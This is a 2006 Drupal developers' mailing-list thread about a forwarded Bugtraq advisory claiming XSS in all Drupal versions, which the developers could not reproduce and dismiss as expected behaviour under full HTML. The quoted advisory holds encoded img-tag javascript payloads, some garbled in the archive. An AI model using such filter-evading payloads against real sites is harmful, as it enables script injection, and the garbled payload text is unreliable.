[liz0@bsdmail.com: Drupal all versiyon xss cehennem.org]
This is from bugtraq... -- Piotrek irc: #debian.pl Mors Drosophilis melanogastribus!
I tried to reproduce this, but was unable to... anyone else have any luck? On Tue, 2006-01-03 at 21:08 +0100, Piotr Krukowiecki wrote:
This is from bugtraq...
email message attachment
-------- Forwarded Message -------- From: liz0@bsdmail.com To: bugtraq@securityfocus.com Subject: Drupal all versiyon xss cehennem.org Date: 2 Jan 2006 10:45:25 -0000
Drupal all versiyon xss ---------------------------------------------------- site:http://www.drupal.org
Hex, Base64, Decimal site: http://liz0zim.no-ip.org/code.php --------------------------------------------------
img tag : on
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
Decimal Value: HTML (without semicolons)
<img src=javascript:alert('XSS')> = <img src=javascript:alert('XSS')> --------------------------------------------------------------------------------------------------------------------------------------------------------------- Decimal Value: HTML (with semicolons)
<img src=javascript:alert('XSS')> = <img src=javascript:alert('XSS')>
--------------------------------------------------------------------------------------------------------------------------------------------------------------- example: post message :<img src=javascript:alert('XSS')> not Vulnerable but <img src=javascript:alert('XSS')> Vulnerable
post mesage :<img src=javascript:alert('XSS')> not Vulnerable but <img src=javascript:alert('XSS')> Vulnerable
---------------------------------------------------------
Credit:Liz0ziM mail:liz0@bsdmail.com www.biyo.tk , www.cehennem.org
Gretz:wannacut,The_Bekir,Codexploder'tq,furtivo,R00t3rr0r,disconnect,cyberlord and all friend
----------------------------------------------------------- Source:
http://liz0zim.no-ip.org/drupal.txt
------------------------------------------------------------
As chx pointed out on bugtraq, and on this list, this is not a vulnerability but a 'feature': allowing full HTML in posting means what it says. Let's kill this topic. On 4-Jan-2006, at 1:37 PM, Darrel O'Pry wrote:
I tried to reproduce this, but was unable to... anyone else have any luck?
On Tue, 2006-01-03 at 21:08 +0100, Piotr Krukowiecki wrote:
This is from bugtraq...
email message attachment
-------- Forwarded Message -------- From: liz0@bsdmail.com To: bugtraq@securityfocus.com Subject: Drupal all versiyon xss cehennem.org Date: 2 Jan 2006 10:45:25 -0000
Drupal all versiyon xss ---------------------------------------------------- site:http://www.drupal.org
Hex, Base64, Decimal site: http://liz0zim.no-ip.org/code.php --------------------------------------------------
img tag : on
-------------------------------------------------------------------- -------------------------------------------------------------------- -----------------------------
Decimal Value: HTML (without semicolons)
<img src=javascript:alert('XSS')> = <img src=javascript:al 1rt('XSS')> -------------------------------------------------------------------- -------------------------------------------------------------------- ----------------------- Decimal Value: HTML (with semicolons)
<img src=javascript:alert('XSS')> = <img src=javascript:a Cert('XSS')>
-------------------------------------------------------------------- -------------------------------------------------------------------- ----------------------- example: post message :<img src=javascript:alert('XSS')> not Vulnerable but <img src=javascript:al 1rt('XSS')> Vulnerable
post mesage :<img src=javascript:alert('XSS')> not Vulnerable but <img src=javascript:a Cert('XSS')> Vulnerable
---------------------------------------------------------
Credit:Liz0ziM mail:liz0@bsdmail.com www.biyo.tk , www.cehennem.org
Gretz:wannacut,The_Bekir,Codexploder'tq,furtivo,R00t3rr0r,disconnect ,cyberlord and all friend
----------------------------------------------------------- Source:
http://liz0zim.no-ip.org/drupal.txt
------------------------------------------------------------
participants (3)
-
Darrel O'Pry -
piotr@mallorn.ii.uj.edu.pl -
puregin